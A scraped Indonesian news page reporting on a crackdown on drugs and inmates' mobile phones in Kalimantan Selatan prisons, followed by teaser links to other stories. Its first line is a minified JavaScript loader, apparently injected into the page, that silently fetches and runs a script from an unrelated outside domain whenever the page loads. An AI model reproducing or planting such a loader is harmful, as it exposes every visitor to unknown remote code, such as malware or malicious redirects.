(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kementrian Hukum dan HAM (Kemenkumham) Kalsel melakukan langkah progresif dan serius upaya pemberantasan Narkoba di Lapas/Rutan se Kalimantan Selatan.
Dilakukan menindaklanjuti rapat koordinasi antara Badan Narkotika Nasional (BNN) dengan Direktorat Jenderal (Ditjen) Pemasyarakatan Kemenkum HAM RI, di Jakarta, beberapa waktu lalu.
Direktur Jenderal Pemasyarakatan, Sri Puguh Budi Utami Minggu (3/2) bertempat ruang rapat Sahardjo kantor Ditjen Pemasyarakatan beserta jajaran pimpinan tinggi pratama memberikan arahan dalam upaya lebih progresif dan masif pemberantasan penyalahgunaan narkotika dan obat-obatan (Narkoba) terlarang di Lembaga Pemasyarakarakatan/Rumah Tahanan Negara Se-Indonesia kepada para Kepala Divisi Pemasyaraktan dan para Kepala Unit Pelaksana Teknis (UPT) Pemasyarakatan.
Dijelaskan Sri Puguh Budi Utami, BNN melalui kelengkapan dan kewenangan telah mendeteksi modulasi komunikasi Narapidana melalui Handphone (HP), dimana keberadaan HP yang dikuasai dan dipergunakan oleh Narapidana/tahanan menjadi pemicu utama dan laten terjadi komunikasi jaringan gelap peredaran Narkoba. Dimana sebagian Lapas/Rutan dalam area komunikasi transaksi narkoba, bahkan berkembang pada tindakan penipuan dengan korbannya masyarakat.
“Untuk itu dilakukan upaya progresif seperti menyiapkan sistem penindakan bagi Narapidana yang kedapatan memiliki dan mempergunakan HP dengan mengedepankan tahapan proses sosialisasi dan edukasi sampai dengan penindakan untuk kepatuhan dan penjeraan,†ujar Sri Puguh.
Upaya lainnya yaitu melengkapi identitas Narapidana/tahanan yang kedapatan menyimpan dan mempergunakan HP dalam laporan penggeledahan razia untuk kepastian penindakan. Langkah lainnya menyiapkan sarana penyimpanan HP bagi petugas sebelum memasuki area hunian yang memastikan penyimpanan bersifat “one man, one locker†yang transparan. Juga mengharuskan Kepala Lapas/Rutan menjadi inspirasi dan keteladanan untuk bersedia dan mewajibkan diperiksa saat memasuki Pengamanan Pintu Utama (P2U) dan sebelum memasuki area hunian.
Selain itu menyiapkan pemusnahan secara cepat dan terdokumen terhadap HP atau barang terlarang lainnya yang tidak diperlukan lagi sebagai bahan penyidikan.
Dalam pembagian zona pengawasan dan konsultasi untuk wilayah Kalimantan, dipimpin langsung Direktur Bimbingan Kemasyarkatan dan Pengentasan Anak Yunaedi yang pernah menjabat Kepala Kanwil Kemenkumham Kalsel.
Kepala Divisi Pemasyarakatan Kalsel, Alfi Zahri yang baru 1 bulan bertugas di Kalsel, secara khusus memanggil humas kanwil, menegaskan bagi Kepala Lapas/Rutan yang terbukti kedapatan keterlibatan Narapidana melakukan pengendalian jaringan narkoba maka dievalusi kinerjanya.
“Hal ini sebagimana yang telah disampaikan dalam kegiatan arahan Direktur Jenderal Pemasyarakatan dan Pimti Pratama Ditjenpas melalui Teleconference kemarin,†ungkapnya Senin (4/2). (rico)
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
This website uses cookies.